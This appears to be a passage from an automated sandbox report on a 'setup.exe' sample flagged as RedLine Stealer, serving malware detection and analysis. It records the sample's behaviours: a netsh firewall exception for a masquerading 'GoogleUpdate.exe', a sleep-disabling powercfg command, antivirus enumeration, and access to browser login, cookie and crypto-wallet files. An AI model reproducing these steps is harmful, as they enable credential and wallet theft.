Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00114~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0019~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00406CEC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00406CEC

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_0040E0A0 RegCreateKeyA,RegSetValueA,GetUserNameA,RegCloseKey,RegOpenKeyExA,AdjustTokenPrivileges,LookupPrivilegeValueA,OpenProcessToken,RegQueryValueExA,RegDeleteKeyA,

0_2_0040E0A0

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\GoogleUpdate.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL

Modifies power options to not sleep / hibernate

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior

Modifies the windows firewall

Source: C:\Windows\GoogleUpdate.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.3.setup.exe.1eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.setup.exe.413788.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.setup.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.295712135.0000000001EB2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: setup.exe PID: 3648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 860, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: vbc.exe, 00000002.00000002.426099583.0000000006CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: vbc.exe, 00000002.00000002.426099583.0000000006CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Bk2C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: vbc.exe, 00000002.00000002.426099583.0000000006CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Bk-cjelfplplebdjjenllpjcblmjkfcffne\|JaxxxLiberty
Source: vbc.exe, 00000002.00000002.426099583.0000000006CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: vbc.exe, 00000002.00000002.426099583.0000000006CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: vbc.exe, 00000002.00000002.426099583.0000000006CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: vbc.exe, 00000002.00000002.426099583.0000000006CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: vbc.exe, 00000002.00000002.426099583.0000000006CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Bk6C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*
Source: powershell.exe, 0000003F.00000002.584018414.00007FF9A5FB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Source: Yara match	File source: 00000002.00000002.420707309.0000000006B12000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.426099583.0000000006CA3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 860, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.3.setup.exe.1eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.setup.exe.413788.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.setup.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.295712135.0000000001EB2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: setup.exe PID: 3648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 860, type: MEMORYSTR

Mitre Att&ck Matrix

